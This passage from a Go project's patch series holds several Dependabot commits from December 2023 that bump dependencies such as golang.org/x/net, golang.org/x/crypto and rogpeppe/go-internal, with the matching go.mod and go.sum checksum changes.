v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= @@ -1816,8 +1818,9 @@ golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU= -golang.org/x/term v0.13.0 h1:bb+I9cTfFazGW51MZqBVmZy7+JEJMouUHTUSKVQLBek= golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= +golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4= +golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -1835,8 +1838,9 @@ golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= -golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= From b3fcb59096f954386ef7d5548dc174ef1ff19b8d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 19 Dec 2023 15:48:02 +0000 Subject: [PATCH 0949/1062] chore(deps): bump golang.org/x/net from 0.17.0 to 0.19.0 Bumps [golang.org/x/net](https://github.com/golang/net) from 0.17.0 to 0.19.0. - [Commits](https://github.com/golang/net/compare/v0.17.0...v0.19.0) --- updated-dependencies: - dependency-name: golang.org/x/net dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 9 +++------ 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/go.mod b/go.mod index 854a12d3ff..1c7f101c4d 100644 --- a/go.mod +++ b/go.mod @@ -35,7 +35,7 @@ require ( github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.17.0 - golang.org/x/net v0.17.0 + golang.org/x/net v0.19.0 golang.org/x/sys v0.15.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d diff --git a/go.sum b/go.sum index 0a1b4076d4..9b5c51b11d 100644 --- a/go.sum +++ b/go.sum @@ -1514,7 +1514,7 @@ golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0= golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= -golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= +golang.org/x/crypto v0.16.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k= golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= @@ -1646,8 +1646,8 @@ golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= -golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= -golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= +golang.org/x/net v0.19.0 h1:zTwKpTd2XuCqf8huc7Fo2iSy+4RHPd10s4KzeTnVr1c= +golang.org/x/net v0.19.0/go.mod h1:CfAk/cbD4CthTvqiEl8NpboMuiuOYsAr/7NOjZJtv1U= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -1803,7 +1803,6 @@ golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= @@ -1818,7 +1817,6 @@ golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU= -golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4= golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -1838,7 +1836,6 @@ golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= -golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= From 5e2cb58a74d0a64a8a92b3c6d544d489fbe7c382 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 19 Dec 2023 18:22:58 +0000 Subject: [PATCH 0950/1062] chore(deps): bump github.com/rogpeppe/go-internal from 1.9.0 to 1.12.0 Bumps [github.com/rogpeppe/go-internal](https://github.com/rogpeppe/go-internal) from 1.9.0 to 1.12.0. - [Release notes](https://github.com/rogpeppe/go-internal/releases) - [Commits](https://github.com/rogpeppe/go-internal/compare/v1.9.0...v1.12.0) --- updated-dependencies: - dependency-name: github.com/rogpeppe/go-internal dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/go.mod b/go.mod index 1c7f101c4d..7318a70721 100644 --- a/go.mod +++ b/go.mod @@ -26,7 +26,7 @@ require ( github.com/prometheus/common v0.32.1 github.com/prometheus/procfs v0.7.3 github.com/pseudomuto/protoc-gen-doc v1.4.1 - github.com/rogpeppe/go-internal v1.9.0 + github.com/rogpeppe/go-internal v1.12.0 github.com/rs/xid v1.5.0 github.com/schollz/progressbar/v2 v2.15.0 github.com/spf13/cobra v1.6.1 diff --git a/go.sum b/go.sum index 9b5c51b11d..b53b2de940 100644 --- a/go.sum +++ b/go.sum @@ -1364,8 +1364,9 @@ github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6So github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= -github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= +github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= +github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4= github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= From 3f4a220319c736252b2755c6908e913cea0c342e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 18 Dec 2023 22:43:32 +0000 Subject: [PATCH 0951/1062] chore(deps): bump golang.org/x/crypto Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.0.0-20220525230936-793ad666bf5e to 0.17.0. - [Commits](https://github.com/golang/crypto/commits/v0.17.0) --- updated-dependencies: - dependency-name: golang.org/x/crypto dependency-type: indirect ... Signed-off-by: dependabot[bot] --- .../vulnerabilities/linear-fake/server/go.mod | 10 +++++----- .../vulnerabilities/linear-fake/server/go.sum | 19 ++++++++++--------- 2 files changed, 15 insertions(+), 14 deletions(-) diff --git a/docs/security/vulnerabilities/linear-fake/server/go.mod b/docs/security/vulnerabilities/linear-fake/server/go.mod index ed7f9e56d9..e8e05fcbbb 100644 --- a/docs/security/vulnerabilities/linear-fake/server/go.mod +++ b/docs/security/vulnerabilities/linear-fake/server/go.mod @@ -44,11 +44,11 @@ require ( github.com/spf13/viper v1.12.0 // indirect github.com/stretchr/testify v1.8.0 github.com/subosito/gotenv v1.3.0 // indirect - golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e // indirect - golang.org/x/net v0.7.0 // indirect - golang.org/x/sys v0.5.0 // indirect - golang.org/x/term v0.5.0 // indirect - golang.org/x/text v0.7.0 // indirect + golang.org/x/crypto v0.17.0 // indirect + golang.org/x/net v0.10.0 // indirect + golang.org/x/sys v0.15.0 // indirect + golang.org/x/term v0.15.0 // indirect + golang.org/x/text v0.14.0 // indirect google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect google.golang.org/grpc v1.53.0 // indirect google.golang.org/protobuf v1.28.1 // indirect diff --git a/docs/security/vulnerabilities/linear-fake/server/go.sum b/docs/security/vulnerabilities/linear-fake/server/go.sum index b86257ba16..a6b756bdac 100644 --- a/docs/security/vulnerabilities/linear-fake/server/go.sum +++ b/docs/security/vulnerabilities/linear-fake/server/go.sum @@ -651,8 +651,9 @@ golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5y golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k= +golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -742,8 +743,8 @@ golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220708220712-1185a9018129/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= -golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M= +golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -865,13 +866,13 @@ golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= -golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= +golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= -golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4= +golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -881,8 +882,8 @@ golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo= -golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= From 3263f89315e3c081185a111174068d4e02828047 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 18 Dec 2023 23:08:04 +0000 Subject: [PATCH 0952/1062] chore(deps): bump golang.org/x/crypto in /test/e2e/truncation Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.11.0 to 0.17.0. - [Commits](https://github.com/golang/crypto/compare/v0.11.0...v0.17.0) --- updated-dependencies: - dependency-name: golang.org/x/crypto dependency-type: indirect ... Signed-off-by: dependabot[bot] --- test/e2e/truncation/go.mod | 21 ++++++++++--------- test/e2e/truncation/go.sum | 42 ++++++++++++++++++++------------------ 2 files changed, 33 insertions(+), 30 deletions(-) diff --git a/test/e2e/truncation/go.mod b/test/e2e/truncation/go.mod index 0b2afd9fb3..acd61743ce 100644 --- a/test/e2e/truncation/go.mod +++ b/test/e2e/truncation/go.mod @@ -12,6 +12,7 @@ require ( github.com/cespare/xxhash/v2 v2.2.0 // indirect github.com/fsnotify/fsnotify v1.6.0 // indirect github.com/golang/protobuf v1.5.3 // indirect + github.com/google/uuid v1.4.0 // indirect github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect github.com/grpc-ecosystem/grpc-gateway v1.16.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect @@ -35,16 +36,16 @@ require ( github.com/spf13/pflag v1.0.5 // indirect github.com/spf13/viper v1.15.0 // indirect github.com/subosito/gotenv v1.4.2 // indirect - golang.org/x/crypto v0.11.0 // indirect - golang.org/x/net v0.12.0 // indirect - golang.org/x/sys v0.10.0 // indirect - golang.org/x/term v0.10.0 // indirect - golang.org/x/text v0.11.0 // indirect - google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e // indirect - google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc // indirect - google.golang.org/grpc v1.55.0 // indirect - google.golang.org/protobuf v1.30.0 // indirect + golang.org/x/crypto v0.17.0 // indirect + golang.org/x/net v0.17.0 // indirect + golang.org/x/sys v0.15.0 // indirect + golang.org/x/term v0.15.0 // indirect + golang.org/x/text v0.14.0 // indirect + google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect + google.golang.org/grpc v1.57.0 // indirect + google.golang.org/protobuf v1.31.0 // indirect gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) diff --git a/test/e2e/truncation/go.sum b/test/e2e/truncation/go.sum index 3dadeaf199..e4add9067e 100644 --- a/test/e2e/truncation/go.sum +++ b/test/e2e/truncation/go.sum @@ -152,6 +152,8 @@ github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLe github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4= +github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= @@ -294,8 +296,8 @@ golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8U golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA= -golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio= +golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k= +golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -363,8 +365,8 @@ golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.12.0 h1:cfawfvKITfUsFCeJIHJrbSxpeu/E81khclypR0GVT50= -golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= +golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= +golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 